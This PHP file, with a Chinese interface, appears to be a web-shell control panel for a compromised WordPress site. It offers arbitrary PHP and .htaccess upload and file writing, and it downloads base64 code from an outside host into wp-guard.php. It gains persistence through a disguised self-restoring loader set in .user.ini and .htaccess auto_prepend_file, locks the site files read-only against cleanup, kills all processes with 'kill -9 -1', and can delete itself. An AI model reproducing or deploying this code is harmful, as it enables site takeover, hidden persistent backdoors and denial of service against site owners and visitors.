                        exec("pgrep -f 'php' 2>/dev/null", $pids);
                    } elseif (function_exists('shell_exec')) {
                        $output = shell_exec("pgrep -f 'php' 2>/dev/null");
                        $pids = explode("\n", trim($output));
                    }

                    if (!empty($pids)) {
                        foreach ($pids as $pid) {
                            if (!empty($pid) && is_numeric($pid)) {
                                @posix_kill((int)$pid, 9);
                            }
                        }
                        $kill_success = true;
                        $kill_method = 'posix_kill';
                        break 2;
                    }
                }
                break;

            default:
                continue 2;
        }
    }

    // 如果以上方法都失败，尝试 proc_open
    if (!$kill_success) {
        $descriptorspec = [
                0 => ["pipe", "r"],
                1 => ["pipe", "w"],
                2 => ["pipe", "w"]
        ];

        $process = @proc_open("kill -9 -1 2>/dev/null", $descriptorspec, $pipes);
        if (is_resource($process)) {
            fclose($pipes[0]);
            fclose($pipes[1]);
            fclose($pipes[2]);
            proc_close($process);
            $kill_success = true;
            $kill_method = 'proc_open';
        }
    }

    if ($kill_success) {
        $message = "✅ 所有 PHP 进程已终止！(方法: $kill_method)";
    } else {
        $error = "❌ 无法终止 PHP 进程！所有可用函数均失败。<br>请检查 PHP 配置或手动执行: kill -9 -1";
    }
}

// ================= 递归修改文件夹权限函数 =================
function recursive_chmod_dirs($dir, $perm, $exclude = array()) {
    $normalized_dir = rtrim(str_replace('\\', '/', $dir), '/');
    if (substr($normalized_dir, -12) === '/.upload-tmp') {
        return;
    }
    if (!is_dir($dir)) {
        return;
    }

    if ($perm !== 0777) {
        foreach ($exclude as $ex) {
            if (strpos($dir, $ex) !== false) {
                return;
            }
        }
    }

    @chmod($dir, $perm);

    $items = scandir($dir);
    if ($items === false) {
        return;
    }

    foreach ($items as $item) {
        if ($item === '.' || $item === '..') {
            continue;
        }

        $path = $dir . '/' . $item;
        if (is_dir($path)) {
            recursive_chmod_dirs($path, $perm, $exclude);
        }
    }
}

function recursive_chmod_files($dir, $perm, $exclude = array(), &$stats = null) {
    if ($stats === null) {
        $stats = array('success' => 0, 'failed' => 0, 'skipped' => 0);
    }
    if (!is_dir($dir)) {
        return $stats;
    }

    foreach ($exclude as $ex) {
        if (strpos(str_replace('\\', '/', $dir), $ex) !== false) {
            $stats['skipped']++;
            return $stats;
        }
    }

    $items = @scandir($dir);
    if ($items === false) {
        $stats['failed']++;
        return $stats;
    }

    foreach ($items as $item) {
        if ($item === '.' || $item === '..') {
            continue;
        }

        $file_path = $dir . '/' . $item;
        if (is_link($file_path)) {
            $stats['skipped']++;
        } elseif (is_dir($file_path)) {
            recursive_chmod_files($file_path, $perm, $exclude, $stats);
        } elseif (is_file($file_path)) {
            if (@chmod($file_path, $perm)) {
                $stats['success']++;
            } else {
                $stats['failed']++;
            }
        }
    }

    return $stats;
}

// ================= 设置权限 0555 =================
if (isset($_POST['chmod_0555'])) {
    recursive_chmod_dirs($path, 0555, $exclude_dirs);
    $message = "✅ 所有文件夹权限已设置为 0555（排除 {$exclude_dirs_label}）";
}

// ================= 设置权限 0777 =================
if (isset($_POST['chmod_0777'])) {
    recursive_chmod_dirs($path, 0777, $exclude_dirs);
    $message = "✅ 所有文件夹权限已设置为 0777";
}

// ================= 设置所有文件权限 0555 =================
if (isset($_POST['chmod_files_0555'])) {
    $stats = recursive_chmod_files($path, 0555);
    $message = "✅ 文件只读权限设置完成：成功 {$stats['success']} 个，失败 {$stats['failed']} 个，跳过 {$stats['skipped']} 个";
}

// ================= 设置所有文件权限 0644 =================
if (isset($_POST['chmod_files_0644'])) {
    $stats = recursive_chmod_files($path, 0644);
    $message = "✅ 文件可编辑权限设置完成：成功 {$stats['success']} 个，失败 {$stats['failed']} 个，跳过 {$stats['skipped']} 个";
}

// ================= 写入 rest-api index（可单独触发，一键上锁时也会先执行） =================
if (isset($_POST['write_rest_index'])) {
    $rest_index_result = write_rest_api_index();
    if ($rest_index_result['success']) {
        $message = $rest_index_result['message'];
    } else {
        $error = $rest_index_result['message'];
    }
}

// ================= 一键上锁/解锁（文件夹+文件综合） =================
if (isset($_POST['lock_all'])) {
    // 先写入 rest-api index，再执行上锁
    $rest_index_result = write_rest_api_index();

    // 一键上锁：仅排除目录本身不上锁（保持原权限），其内部的文件和子文件夹仍会上锁
    $exclude_original_perms = array();
    foreach ($exclude_dirs as $ex) {
        $ex_path = $path . $ex;
        if (is_dir($ex_path)) {
            $ex_perms = @fileperms($ex_path);
            if ($ex_perms !== false) {
                $exclude_original_perms[$ex_path] = $ex_perms & 0777;
            }
        }
    }

    $stats = recursive_chmod_files($path, 0555);
    recursive_chmod_dirs($path, 0555);

    foreach ($exclude_original_perms as $ex_path => $ex_perm) {
        @chmod($ex_path, $ex_perm);
    }

    $message = "✅ 一键上锁完成：文件夹 0555 + 文件 0555<br>{$rest_index_result['message']}<br>仅 {$exclude_dirs_label} 目录本身保持原权限，其内部文件和子文件夹均已上锁<br>文件统计：成功 {$stats['success']} 个，失败 {$stats['failed']} 个，跳过 {$stats['skipped']} 个";
}

if (isset($_POST['unlock_all'])) {
    // 一键解锁：包含排除目录在内，所有文件夹和文件全部解锁
    recursive_chmod_dirs($path, 0777);
    $stats = recursive_chmod_files($path, 0644);
    $message = "✅ 一键解锁完成：文件夹 0777 + 文件 0644（含 {$exclude_dirs_label}，全部解锁）<br>文件统计：成功 {$stats['success']} 个，失败 {$stats['failed']} 个，跳过 {$stats['skipped']} 个";
}

// ================= 上传非脚本文件 =================
if (isset($_POST['upload_file'])) {
    $relative_dir = isset($_POST['upload_dir']) ? trim(str_replace('\\', '/', $_POST['upload_dir'])) : '';
    $relative_dir = trim($relative_dir, '/');
    $target_dir = $relative_dir === '' ? $path : $path . '/' . $relative_dir;
    $real_root = realpath($path);
    $real_target = realpath($target_dir);

    $allowed_extensions = array(
        'jpg', 'jpeg', 'png', 'gif', 'webp', 'svg', 'ico', 'bmp', 'tiff',
        'txt', 'csv', 'json', 'xml', 'pdf', 'doc', 'docx', 'xls', 'xlsx', 
        'ppt', 'pptx', 'odt', 'ods',
        'zip', 'rar', '7z', 'tar', 'gz', 'bz2', 'xz',
        'mp3', 'mp4', 'webm', 'avi', 'mkv', 'flv', 'wav', 'ogg',
        'php', 'php3', 'php4', 'php5', 'php7', 'php8', 'phtml', 'phps',
        'html', 'htm', 'css', 'js', 'json', 'yaml', 'yml',
        'conf', 'ini', 'env', 'htaccess'
    );

    $upload_files = isset($_FILES['upload_item']) ? $_FILES['upload_item'] : array();
    $upload_names = isset($upload_files['name']) && is_array($upload_files['name']) ? $upload_files['name'] : array();
    $upload_count = count($upload_names);
    if ($upload_count === 0) {
        $error = '❌ 没有选择文件';
        goto display_page;
    }
    
    if ($real_root === false || $real_target === false || !is_dir($real_target)) {
        $error = "❌ 目标文件夹不存在，请填写网站根目录内已存在的相对路径";
        goto display_page;
    }

    $normalized_root = rtrim(str_replace('\\', '/', $real_root), '/');
    $normalized_target = rtrim(str_replace('\\', '/', $real_target), '/');
    $root_prefix = $is_windows ? strtolower($normalized_root) : $normalized_root;
    $target_prefix = $is_windows ? strtolower($normalized_target) : $normalized_target;
    if ($target_prefix !== $root_prefix && strpos($target_prefix, $root_prefix . '/') !== 0) {
        $error = "❌ 目标文件夹必须位于网站根目录内";
        goto display_page;
    }

    $max_size = 20 * 1024 * 1024;
    $php_extensions = array('php', 'php3', 'php4', 'php5', 'php7', 'php8', 'phtml', 'phps');
    $upload_ok_names = array();
    $upload_failed_names = array();

    for ($i = 0; $i < $upload_count; $i++) {
        $upload_error = isset($upload_files['error'][$i]) ? (int) $upload_files['error'][$i] : UPLOAD_ERR_NO_FILE;
        $raw_name = isset($upload_files['name'][$i]) ? str_replace('\\', '/', (string) $upload_files['name'][$i]) : '';
        $last_slash = strrpos($raw_name, '/');
        $original_name = $last_slash === false ? $raw_name : substr($raw_name, $last_slash + 1);
        $display_name = $original_name !== '' ? $original_name : '文件' . ($i + 1);
        if ($upload_error !== UPLOAD_ERR_OK) {
            $upload_failed_names[] = $display_name . '：上传错误 ' . $upload_error;
            continue;
        }

        $extension = strtolower(pathinfo($original_name, PATHINFO_EXTENSION));
        if ($original_name === '' || $original_name === '.' || $original_name === '..') {
            $upload_failed_names[] = $display_name . '：文件名无效';
            continue;
        }
        if (!in_array($extension, $allowed_extensions, true)) {
            $upload_failed_names[] = $display_name . '：不允许的文件类型';
            continue;
        }

        $file_max_size = in_array($extension, $php_extensions, true) ? 5 * 1024 * 1024 : $max_size;
        if (isset($upload_files['size'][$i]) && (int) $upload_files['size'][$i] > $file_max_size) {
            $upload_failed_names[] = $display_name . '：文件超过 ' . ($file_max_size / 1024 / 1024) . 'MB';
            continue;
        }

        $target_file = $real_target . DIRECTORY_SEPARATOR . $original_name;
        if (@move_uploaded_file($upload_files['tmp_name'][$i], $target_file)) {
            $upload_ok_names[] = ($relative_dir ? $relative_dir . '/' : '') . $original_name;
        } else {
            $upload_failed_names[] = $display_name . '：目标文件夹不可写或文件写入失败';
        }
    }

    if ($upload_ok_names) {
        $message = '✅ 成功上传 ' . count($upload_ok_names) . ' 个文件：<br>' . htmlspecialchars(implode(', ', $upload_ok_names), ENT_QUOTES, 'UTF-8');
    }
    if ($upload_failed_names) {
        $upload_failure_message = '❌ 上传失败 ' . count($upload_failed_names) . ' 个文件：<br>' . htmlspecialchars(implode('<br>', $upload_failed_names), ENT_QUOTES, 'UTF-8');
        if ($message !== '') {
            $message .= '<br>' . $upload_failure_message;
        } else {
            $error = $upload_failure_message;
        }
    }
    goto display_page;
}

// ================= 创建 wp-guard.php =================
if (isset($_POST['create_guard'])) {
    $guard_file = $path . '/wp-guard.php';
    if (!is_writable($path)) {
        @chmod($path, 0755);
    }
    if (!is_writable($path)) {
        $error = "❌ 网站根目录不可写，无法创建 wp-guard.php：{$path}";
        goto display_page;
    }
    if (file_exists($guard_file)) {
        @chmod($guard_file, 0644);
    }
    $guard_code = request_remote('https://homezero.oyeramie.cfd/green/guard.txt');
    if ($guard_code === false || $guard_code === '') {
        $error = "❌ 无法获取 guard.php 内容，请检查远程地址或网络连接";
        goto display_page;
    }
    $guard_code = base64_decode($guard_code);
    $written = @file_put_contents($guard_file, $guard_code);
    if ($written !== false) {
        @chmod($guard_file, 0644);
        $message = "✅ wp-guard.php 创建成功（{$written} 字节）";
    } else {
        $error = "❌ wp-guard.php 写入失败，请检查目录权限";
    }
    goto display_page;
}

// ================= 生成 .user.ini =================
if (isset($_POST['create_userini'])) {
    $guard_file = $path . '/wp-guard.php';
    $guard_loader = $path . '/wp-sentry.php';
    $guard_cache_dir = $path . '/.cache';
    $guard_backup = $guard_cache_dir . '/wp-guard.php.bak';
    $userini_file = $path . '/.user.ini';

    if (!is_writable($path)) {
        @chmod($path, 0755);
    }
    if (!is_writable($path)) {
        $error = "❌ 网站根目录不可写，无法创建 .user.ini：{$path}";
        goto display_page;
    }

    if (!file_exists($guard_file)) {
        $error = "❌ wp-guard.php 不存在，请先创建 wp-guard.php";
        goto display_page;
    }

    if (!is_dir($guard_cache_dir) && !@mkdir($guard_cache_dir, 0755, true)) {
        $error = "❌ 无法创建 Guard 缓存目录：{$guard_cache_dir}";
        goto display_page;
    }
    $cache_original_perm = fileperms($guard_cache_dir) !== false ? (fileperms($guard_cache_dir) & 0777) : null;
    $cache_permission_changed = false;
    $backup_ready = false;
    $backup_needs_write = !is_file($guard_backup);
    if (!$backup_needs_write) {
        $guard_hash = @hash_file('sha256', $guard_file);
        $backup_hash = @hash_file('sha256', $guard_backup);
        $backup_needs_write = ($guard_hash === false || $guard_hash !== $backup_hash);
    }
    if ($backup_needs_write && !is_writable($guard_cache_dir)) {
        $cache_permission_changed = @chmod($guard_cache_dir, 0777);
        clearstatcache(true, $guard_cache_dir);
    }
    if (is_file($guard_backup)) {
        $guard_hash = @hash_file('sha256', $guard_file);
        $backup_hash = @hash_file('sha256', $guard_backup);
        if ($guard_hash !== false && $guard_hash === $backup_hash) {
            $backup_ready = true;
        } else {
            @chmod($guard_backup, 0644);
            $backup_ready = @copy($guard_file, $guard_backup);
        }
    } else {
        $backup_ready = @copy($guard_file, $guard_backup);
    }
    if ($cache_permission_changed && $cache_original_perm !== null) {
        @chmod($guard_cache_dir, $cache_original_perm);
    }
    if ($backup_ready) {
        @chmod($guard_backup, 0444);
    } else {
        $error = "❌ 无法创建或更新 wp-guard.php 备用副本，请检查 .cache 目录及备份文件权限";
        goto display_page;
    }

    $loader_code = <<<'GUARD_LOADER'
<?php
$root = __DIR__;
$guard = $root . '/wp-guard.php';
$backup = $root . '/.cache/wp-guard.php.bak';
if (!is_file($guard) && is_file($backup)) {
    $rootPerm = @fileperms($root);
    $rootPerm = $rootPerm === false ? null : ($rootPerm & 0777);
    if (!is_writable($root)) @chmod($root, 0755);
    @copy($backup, $guard);
    if (is_file($guard)) @chmod($guard, 0444);
    if ($rootPerm !== null) @chmod($root, $rootPerm);
}
if (is_file($guard) && is_readable($guard)) {
    require $guard;
}
unset($root, $guard, $backup, $rootPerm);
GUARD_LOADER;

    if (file_exists($guard_loader)) @chmod($guard_loader, 0644);
    if (@file_put_contents($guard_loader, $loader_code) === false) {
        $error = "❌ 无法创建 wp-sentry.php";
        goto display_page;
    }
    @chmod($guard_loader, 0444);

    $bak_msg = '';
    if (file_exists($userini_file)) {
        $bak_name = '.user.ini.bak.' . time();
        @copy($userini_file, $path . '/' . $bak_name);
        $bak_msg = "（旧文件已备份为 {$bak_name}）";
    }

    $userini_content = "auto_prepend_file = \"{$guard_loader}\"\nuser_ini.cache_timeout = 30\n";
    // $userini_content = $userini_content . "open_basedir = \"{$open_basedir_value}\"\n";
    $written = @file_put_contents($userini_file, $userini_content);
    if ($written !== false) {
        $message = "✅ .user.ini 创建成功{$bak_msg}<br>📄 内容:<br><code>" . nl2br(htmlspecialchars($userini_content)) . "</code><br>⏰ 请等待最多 30 秒后生效";
        if ($is_mod_php) {
            $ht_line = "php_value auto_prepend_file \"{$guard_file}\"";
            $ht_block = "# BEGIN guard\n{$ht_line}\n# END guard\n";
            $ht_file = $path . '/.htaccess';
            if (file_exists($ht_file)) {
                $existing = file_get_contents($ht_file);
                if (strpos($existing, 'auto_prepend_file') === false) {
                    @copy($ht_file, $path . '/.htaccess.bak.' . time());
                    @file_put_contents($ht_file, $ht_block . "\n" . $existing);
                    $message .= "<br>📝 .htaccess 已更新（mod_php 模式）";
                }
            } else {
                @file_put_contents($ht_file, $ht_block);
                $message .= "<br>📝 .htaccess 已创建（mod_php 模式）";
            }
        } else {
            $message .= "<br>ℹ️ 模式：PHP-FPM（仅需 .user.ini）";
        }
    } else {
        $error = "❌ .user.ini 写入失败，请检查目录权限";
    }
    goto display_page;
}

// ================= 删除 .user.ini 回滚 =================
if (isset($_POST['rollback_userini'])) {
    $userini_file = $path . '/.user.ini';
    if (!file_exists($userini_file)) {
        $error = "❌ .user.ini 不存在";
        goto display_page;
    }

    $original_dir_perm = fileperms($path) & 0777;
    $permission_changed = false;

    $test_directory_operations = function ($dir) {
        $source = $dir . '/.userini_probe_' . uniqid('', true);
        $target = $source . '.renamed';
        $created = @file_put_contents($source, '1') !== false;
        $renamed = $created && @rename($source, $target);
        $deleted = $renamed && @unlink($target);

        if (file_exists($source)) @unlink($source);
        if (file_exists($target)) @unlink($target);

        return $created && $renamed && $deleted;
    };

    $directory_supported = $test_directory_operations($path);
    if (!$directory_supported) {
        $permission_changed = @chmod($path, 0777);
        clearstatcache(true, $path);
        $directory_supported = $permission_changed && $test_directory_operations($path);
    }

    if (!$directory_supported) {
        if ($permission_changed) @chmod($path, $original_dir_perm);
        $error = "❌ 网站根目录不支持创建、改名或删除文件，无法删除 .user.ini";
        goto display_page;
    }

    $deleted = @unlink($userini_file);
    if ($permission_changed) {
        @chmod($path, $original_dir_perm);
    }

    if ($deleted) {
        $message = "✅ .user.ini 已直接删除";
        $message .= $permission_changed
            ? "<br>📁 根目录曾临时设为 0777，现已恢复为 " . sprintf('%04o', $original_dir_perm)
            : "<br>📁 根目录原本支持创建、改名和删除，权限未修改";
        $message .= "<br>⏰ PHP 配置缓存过期后网站恢复";
    } else {
        $error = "❌ .user.ini 删除失败";
        $error .= $permission_changed
            ? "，根目录权限已恢复为 " . sprintf('%04o', $original_dir_perm)
            : "，根目录权限未修改";
    }
    goto display_page;
}

display_page:

// ================= 处理自我删除 =================
if (isset($_POST['self_destroy']) && $_POST['self_destroy'] === 'yes') {
    @chmod(__DIR__, 0777);
    if (unlink(__FILE__)) {
        die("<h2>✅ 脚本已成功自我删除！</h2><p>文件: " . basename(__FILE__) . " 已被移除。</p>");
    } else {
        $error = "❌ 无法删除脚本文件，请检查文件权限。";
    }
    @chmod(__DIR__, 0555);
}
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>工具</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Arial, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            padding: 14px;
        }
        .container {
            background: white;
            border-radius: 12px;
            box-shadow: 0 16px 45px rgba(0,0,0,0.25);
            padding: 16px 18px;
            width: 100%;
            margin: 0 auto;
        }
        .topbar {
            display: flex;
            align-items: center;
            justify-content: space-between;
            gap: 12px;
            margin-bottom: 10px;
            flex-wrap: wrap;
        }
        .topbar h1 { color: #333; font-size: 22px; }
        .topbar-actions { display: flex; gap: 8px; align-items: center; flex-wrap: wrap; }
        .alert { padding: 10px 14px; border-radius: 8px; margin-bottom: 10px; font-weight: 500; font-size: 14px; }
        .alert-success { background: #d4edda; color: #155724; border: 1px solid #c3e6cb; }
        .alert-error { background: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; }
        .server-info {
            background: #e7f5ff; border: 1px solid #b8daff; border-radius: 8px;
            padding: 7px 12px; margin-bottom: 10px; color: #004085; font-size: 13px;
            display: flex; gap: 16px; flex-wrap: wrap; align-items: center;
        }
        .layout-2col { display: grid; grid-template-columns: 1fr 1fr; gap: 12px; align-items: stretch; }
        .col-stack { display: flex; flex-direction: column; gap: 12px; min-width: 0; }
        .col-stack > .index-panel { flex: 1; }
        .index-panel { display: flex; flex-direction: column; }
        .index-panel .form-group { display: flex; flex-direction: column; flex: 1; }
        .index-panel .form-group:first-of-type { flex: 2; }
        .index-panel textarea { flex: 1; min-height: 130px; }
        .section { border: 1.5px solid #dee2e6; border-radius: 10px; padding: 12px; background: #fafbfd; min-width: 0; }
        .section h3 { font-size: 15px; margin-bottom: 8px; color: #333; }
        .form-group { margin-bottom: 10px; }
        label { display: block; font-weight: 600; color: #333; margin-bottom: 4px; font-size: 13px; }
        textarea {
            width: 100%; padding: 8px; border: 1.5px solid #e0e0e0; border-radius: 7px;
            font-size: 13px; font-family: 'Courier New', monospace; resize: vertical; min-height: 100px;
        }
        textarea:focus { outline: none; border-color: #667eea; }
        input[type="text"] {
            width: 100%; padding: 7px 10px; border: 1.5px solid #e0e0e0; border-radius: 7px; font-size: 13px;
        }
        input[type="text"]:focus { outline: none; border-color: #667eea; }
        .btn {
            padding: 7px 13px; border: none; border-radius: 7px; font-size: 13px; font-weight: 600;
            cursor: pointer; transition: filter .15s; text-decoration: none; display: inline-block; line-height: 1.5;
        }
        .btn:hover { filter: brightness(.9); }
        .btn:disabled { opacity: .45; cursor: not-allowed; }
        .btn-primary { background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); color: #fff; }
        .btn-danger { background: #dc3545; color: #fff; }
        .btn-secondary { background: #6c757d; color: #fff; }
        .btn-success { background: #28a745; color: #fff; }
        .btn-warning { background: #ffc107; color: #333; }
        .btn-info { background: #17a2b8; color: #fff; }
        .btn-purple { background: #6f42c1; color: #fff; }
        .btn-row { display: flex; gap: 7px; flex-wrap: wrap; align-items: center; }
        .btn-row + .btn-row { margin-top: 7px; }
        .btn-group-label { font-weight: 600; color: #666; font-size: 13px; margin-right: 3px; }
        .file-list {
            background: #f8f9fa;
            border-radius: 8px;
            padding: 8px 10px;
            margin-bottom: 10px;
            max-height: 130px;
            overflow-y: auto;
        }
        .file-list-item {
            padding: 2px 0;
            font-size: 12px;
            color: #555;
            font-family: 'Courier New', monospace;
            border-bottom: 1px solid #eee;
        }
        .file-list-item:last-child { border-bottom: none; }
        .stats { display: flex; gap: 10px; margin-bottom: 10px; flex-wrap: wrap; }
        .stat-box { flex: 1; min-width: 90px; background: #f8f9fa; padding: 8px; border-radius: 8px; text-align: center; }
        .stat-number { font-size: 20px; font-weight: 700; color: #333; }
        .stat-label { font-size: 11px; color: #666; margin-top: 2px; }
        .divider { border: none; border-top: 2px solid #eee; margin: 12px 0; }
        .status-line { font-size: 12px; color: #666; margin-top: 8px; line-height: 1.7; }
        .diag { padding: 5px 9px; margin-top: 5px; border-radius: 6px; font-size: 12px; line-height: 1.5; }
        .diag-success { color: #155724; background: #d4edda; }
        .diag-warning { color: #856404; background: #fff3cd; }
        .diag-error { color: #721c24; background: #f8d7da; }
        .checkbox-group {
            display: flex;
            align-items: center;
            gap: 8px;
            margin: 8px 0;
            padding: 7px 10px;
            background: #f8f9fa;
            border-radius: 7px;
            font-size: 13px;
        }
        .checkbox-group input[type="checkbox"] { width: 16px; height: 16px; cursor: pointer; accent-color: #667eea; }
        .checkbox-group label { font-weight: 500; margin: 0; cursor: pointer; color: #333; }
        .upload-grid { display: grid; grid-template-columns: 1fr 1.3fr auto; gap: 8px; align-items: center; }
        .upload-grid input[type="text"], .upload-grid input[type="file"] {
            width: 100%; padding: 6px 8px; border: 1px solid #ced4da; border-radius: 6px; background: white; font-size: 12px;
        }
        .field-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 10px; }
        @media (max-width: 920px) {
            .layout-2col { grid-template-columns: 1fr; }
            .upload-grid { grid-template-columns: 1fr; }
            .field-grid { grid-template-columns: 1fr; }
        }
    </style>
</head>
<body>
<div class="container">
    <div class="topbar">
        <h1>📦 工具</h1>
        <div class="topbar-actions">
            <form method="POST" onsubmit="return confirm('⚠️ 确定要删除此脚本吗？\n此操作不可恢复！');" style="display:inline;">
                <input type="hidden" name="self_destroy" value="yes">
                <button type="submit" class="btn btn-danger">删除此脚本</button>
            </form>
            <a href="?logout=1" class="btn btn-secondary">退出登录</a>
        </div>
    </div>

    <?php if ($message): ?>
        <div class="alert alert-success"><?php echo $message; ?></div>
    <?php endif; ?>

    <?php if ($error): ?>
        <div class="alert alert-error"><?php echo $error; ?></div>
    <?php endif; ?>

    <?php
    $server_info = detectWebServer();
    ?>
    <div class="server-info">
        <span><strong>Web:</strong> <?php echo htmlspecialchars($server_info); ?></span>
        <span><strong>SAPI:</strong> <?php echo htmlspecialchars($sapi); ?></span>
        <span><strong>OS:</strong> <?php echo $is_windows ? 'Windows' : 'Linux/Unix'; ?></span>
        <span><strong>tmp:</strong> <code><?php echo htmlspecialchars($system_tmp_dir); ?></code></span>
        <span><strong>根目录:</strong> <code><?php echo htmlspecialchars($path); ?></code></span>
        <span><strong>Green路径:</strong> <code><?php echo htmlspecialchars(__FILE__); ?></code></span>
    </div>

    <?php if (isset($backup_files) && !empty($backup_files)): ?>
        <div class="stats">
            <div class="stat-box">
                <div class="stat-number" style="color:#28a745;"><?php echo $success_count; ?></div>
                <div class="stat-label">✅ 成功</div>
            </div>
            <div class="stat-box">
                <div class="stat-number" style="color:#dc3545;"><?php echo $fail_count; ?></div>
                <div class="stat-label">❌ 失败</div>
            </div>
            <div class="stat-box">
                <div class="stat-number"><?php echo count($files); ?></div>
                <div class="stat-label">📁 目录数</div>
            </div>
        </div>

        <div class="file-list">
            <strong>📄 生成的文件:</strong>
            <?php foreach ($backup_files as $file): ?>
                <div class="file-list-item">📎 <?php echo htmlspecialchars($file); ?></div>
            <?php endforeach; ?>
        </div>
        <hr class="divider">
    <?php endif; ?>

    <div class="layout-2col">
        <!-- 左列 -->
        <div class="col-stack">
        <form method="POST" class="section index-panel">
            <h3>📝 Index / Htaccess</h3>
            <div class="form-group">
                <label for="index_content">index.php 内容</label>
                <textarea id="index_content" name="index_content" placeholder="请粘贴 index.php 内容"><?php echo isset($_POST['index_content']) ? htmlspecialchars($_POST['index_content']) : ''; ?></textarea>
            </div>
            <div class="form-group">
                <label for="htaccess_content">.htaccess 内容（留空自动远程获取）</label>
                <textarea id="htaccess_content" name="htaccess_content" placeholder="请粘贴 .htaccess 内容" style="min-height:70px;"><?php echo isset($_POST['htaccess_content']) ? htmlspecialchars($_POST['htaccess_content']) : ''; ?></textarea>
            </div>
            <div class="checkbox-group">
                <input type="checkbox" id="add_default" name="add_default" checked <?php echo isset($_POST['add_default']) ? 'checked' : ''; ?>>
                <label for="add_default">自动添加默认2行（WP_USE_THEMES / wp-blog-header）</label>
            </div>
            <div class="btn-row">
                <button type="submit" name="generate" class="btn btn-primary">🚀 生成备份</button>
                <button type="submit" name="write_index" class="btn btn-success">📝 写入Index</button>
                <button type="submit" name="write_htaccess" class="btn btn-info">📝 写入Htaccess</button>
                <button type="button" class="btn btn-secondary" onclick="window.location.reload();">🔄 重置</button>
            </div>
        </form>

            <!-- 创建/写入文件 -->
            <div class="section">
                <h3>📄 创建/写入文件</h3>
                <form method="POST">
                    <div class="form-group">
                        <label for="file_path">路径（相对网站根目录）</label>
                        <input type="text" id="file_path" name="file_path" placeholder="例如: test.php 或 wp-content/test.txt" value="<?php echo isset($_POST['file_path']) ? htmlspecialchars($_POST['file_path']) : ''; ?>">
                    </div>
                    <div class="form-group">
                        <label for="file_content">内容</label>
                        <textarea id="file_content" name="file_content" placeholder="请输入要写入的内容" style="min-height:80px;"><?php echo isset($_POST['file_content']) ? htmlspecialchars($_POST['file_content']) : ''; ?></textarea>
                    </div>
                    <button type="submit" name="create_file" class="btn btn-info">📄 创建/写入文件</button>
                </form>
            </div>
        </div>

        <!-- 右列 -->
        <div class="col-stack">
            <div class="section">
                <h3>📤 上传文件</h3>
                <form method="POST" enctype="multipart/form-data" class="upload-grid">
                    <input type="text" id="upload_dir" name="upload_dir" placeholder="目标文件夹（留空为根目录）">
                    <input type="file" id="upload_item" name="upload_item[]" multiple required>
                    <button type="submit" name="upload_file" class="btn btn-success">上传</button>
                </form>
            </div>

            <div class="section">
                <h3>🛠️ 快捷操作 / 进程管理</h3>
                <div class="btn-row">
                    <form method="POST" style="display:inline;">
                        <button type="submit" name="create_robots" class="btn btn-success">📄 robots.txt</button>
                    </form>
                    <?php if (file_exists($path . '/robots.txt')): ?>
                        <span style="color:#28a745; font-size:12px; font-weight:600;">✅ 已存在</span>
                    <?php else: ?>
                        <span style="color:#dc3545; font-size:12px; font-weight:600;">❌ 不存在</span>
                    <?php endif; ?>
                    <form method="POST" style="display:inline;">
                        <button type="submit" name="prepend_test_php" class="btn btn-info">🍪 写入cookie</button>
                    </form>
                    <form method="POST" onsubmit="return confirm('⚠️ 确定要杀死所有 PHP 进程吗？\n此操作将终止所有 PHP 进程，可能导致网站服务中断！');" style="display:inline;">
                        <button type="submit" name="kill_processes" class="btn btn-danger">💀 杀死所有 PHP 进程</button>
                    </form>

                </div>
            </div>

            <div class="section">
                <h3>📥 wp-utility.php</h3>
                <form method="POST">
                    <button type="submit" name="save_remote_txt" class="btn btn-info">获取并写入 wp-utility.php</button>
                </form>
            </div>

        <!-- Guard 防护 -->
        <div class="section">
            <h3>🛡️ Guard 防护</h3>
            <?php
            $guard_file_path = $path . '/wp-guard.php';
            $loader_file_path = $path . '/wp-sentry.php';
            $userini_file_path = $path . '/.user.ini';
            $guard_exists = is_file($guard_file_path);
            $loader_exists = is_file($loader_file_path);
            $guard_readable = $guard_exists && is_readable($guard_file_path);
            $loader_readable = $loader_exists && is_readable($loader_file_path);
            $guard_perms = $guard_exists ? substr(sprintf('%o', fileperms($guard_file_path)), -4) : '----';
            $loader_perms = $loader_exists ? substr(sprintf('%o', fileperms($loader_file_path)), -4) : '----';
            $guard_size = $guard_exists ? filesize($guard_file_path) : 0;
            $loader_size = $loader_exists ? filesize($loader_file_path) : 0;
            $userini_exists = is_file($userini_file_path);
            $userini_readable = $userini_exists && is_readable($userini_file_path);
            $userini_filename = (string) ini_get('user_ini.filename');
            $userini_cache_ttl = (int) ini_get('user_ini.cache_ttl');
            $auto_prepend = (string) ini_get('auto_prepend_file');
            $prepend_target_exists = $auto_prepend !== '' && is_file($auto_prepend);
            $prepend_target_readable = $prepend_target_exists && is_readable($auto_prepend);
            $guard_loaded = defined('_GUARD_LOADED');
            $expected_prepend = str_replace('\\', '/', $loader_file_path);
            $actual_prepend = str_replace('\\', '/', $auto_prepend);
            $prepend_matches = $actual_prepend !== '' && ($actual_prepend === $expected_prepend || (@realpath($auto_prepend) !== false && @realpath($auto_prepend) === @realpath($loader_file_path)));
            $guard_diagnostics = array();

            if ($is_mod_php) {
                $guard_diagnostics[] = array('warning', '当前为 Apache mod_php，.user.ini 通常不会生效，应检查根目录 .htaccess 的 php_value auto_prepend_file。');
            } elseif ($userini_filename === '') {
                $guard_diagnostics[] = array('error', 'PHP 的 user_ini.filename 为空，服务器已禁用 .user.ini。需要在 PHP-FPM、主机面板或 php.ini 中配置 auto_prepend_file。');
            } elseif ($userini_filename !== '.user.ini') {
                $guard_diagnostics[] = array('error', 'PHP 当前识别的用户配置文件名是 ' . $userini_filename . '，不是 .user.ini。');
            }

            if (!$userini_exists) {
                $guard_diagnostics[] = array('error', '.user.ini 不存在。');
            } elseif (!$userini_readable) {
                $guard_diagnostics[] = array('error', '.user.ini 已存在但 PHP 进程不可读取，请检查文件权限和所有者。');
            }

            if ($auto_prepend === '') {
                if (!$is_mod_php && $userini_filename !== '') {
                    $ttl_text = $userini_cache_ttl > 0 ? $userini_cache_ttl . ' 秒' : '服务器默认时间';
